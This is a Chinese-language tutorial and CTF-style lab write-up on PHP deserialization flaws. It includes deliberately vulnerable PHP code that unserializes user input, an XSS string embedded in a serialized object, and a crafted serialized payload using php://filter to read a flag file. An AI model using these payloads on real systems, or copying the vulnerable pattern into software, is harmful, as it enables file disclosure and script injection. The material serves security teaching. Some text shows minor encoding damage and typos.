反序列化漏洞实例
- 反序列化漏洞
- 1. 序列化的原理
- 2. 序列化函数
- 3. 反序列化漏洞原理
- 3.1 魔术函数
- 3.2 反序列化漏洞示例
- 反序列化结合文件包含
- 反序列化结合XSS
- 4. 反序列化漏洞分类
- 5. 实验测试
- 网页源码
- 测试过程
反序列化漏洞
利用的核心找到反序列化的源码。通过文件包含,敏感目录泄露找源码
1. 序列化的原理
序列化是一种将对象的状态信息转换为可以存储或传输的形式的过程(转化为信息流)。
由于给变量赋的值,会暂时存储在内存中,一旦使用过后,此变量再次使用必须重新赋值。序列化的作用就是记录变量被赋的值,是为了记录数据,方便存储,方便被传递供其他人使用,方便维护。
例如
<?php
class student{
public $name="xiaoming";
public $age=20;
public $score=60;
}
?>
上述php代码序列化后的结果
O:7:“student”:3:{s:4:“name”;s:8:“xiaoming”;s:3: “age”;i:20;s:5.“score”;i:60;}
O:7:"student":3
#O--Object,7--对象长度,类名为student,3--成员变量数
s:4:"name";s:8:"xiaoming"
# s--字符型,4--变量名长度,name--变量名,xiaoming--变量值
s:3: "age";i:20
# s--字符型,3--变量名长度,age--变量名,i--int型,20--变量值
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。所以对象A和对象B序列化后并没有什么区别。
原理
2. 序列化函数
在php中:serialize()/unserialize()
在java中:writeObject()/readObject()
3. 反序列化漏洞原理
- 用户输入不可控
- 有魔术方法
- 魔术方法中有风险操作,例如system(),echo 等
3.1 魔术函数
魔术函数就相当于 C语言的析构函数
析构函数(destructor) 与构造函数相反,当对象结束其生命周期,如对象所在的函数已调用完毕时,系统自动执行析构函数。析构函数往往用来做“清理善后” 的工作(例如在建立对象时用new开辟了一片内存空间,delete会自动调用析构函数后释放内存)
__construct(), __destruct(), __call(),__callStatic(),__get(),
__set(),__isset(),__unset(),__ sleep(),__wakeup(),
__toString()__invoke(),__set_state(),__clone(),__debugInfo()
这些函数在某些情况下会自动调用,其中,反序列化漏洞主要由以下面魔术方法造成:
__construct():在对象创建时自动被调用;
__sleep():在对象序列化的时候自动被调用;
__destruct():在脚本运行结束时自动被调用;
__wakeup():在反序列化为对象时自动被调用;
__toString(): 直接输出对象引用时自动被调用;
3.2 反序列化漏洞示例
反序列化结合文件包含
<?php
class FileClass{
public $filename = 'error.log';
public function __toString(){
return file_get_contents($this->filename);
//魔术函数中执行文件包含,反序列化漏洞配合文件包含漏洞
//有可能造成文件包含漏洞,这里调用$filename, 也就是 error.log
}
}
$obj = unserialize($_GET['file']); //在前端url框内,传入文件
echo $obj;
?>
反序列化结合XSS
unserialize('O:7:"student":3:{s:4:"name";s:25:"<script>alert(1)</script>";s:3: "age";i:20;s:5."score";i:60;}')
4. 反序列化漏洞分类
java反序列化
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
php反序列化
可以按照中间件分,然后按照版本分类。
5. 实验测试
网页源码
index.php
<!DOCTYPE html>
<body>
<a href="../index.php">их╗п</a></body></html>
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
class.php
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "<br>__toString was called!";
}
}
?>
flag.php
<?php
//flag_Xd{hSh_ctf:e@syt0g3t}
?>
测试过程
- 点进去首先看到
- 根据 index.php源代码
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
file_get_contents 是包含文件的意思,变量名是user,因此要进行构造 ?/user=
刚开始以为是包含一句话木马,结果包含一句话木马后返回不对
3. 仔细思考后,要用input伪协议,因为input伪协议可以包含传递的数据。
4. 根据上面的报错信息,再次分析,由于代码中还有一个判断语句忘了考虑
else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
因此在url输入的时候,还要考虑file参数
如果后面还加上pass参数,那么还会对输入的参数进行反序列化
5. 如果后面还加上pass参数,那么还会对输入的参数进行反序列化
这里也是利用php://filter来读取fla9文件,用来进行反序列化
php://filter/read=convert.base64-encode/resource=fla9.php
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。
构造的payload
pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=fla9.php";}
// 观察class.php是一个类 ,将fla9.php作为参数传递给class.php
// 相当于 pass=__toString(fla9.php)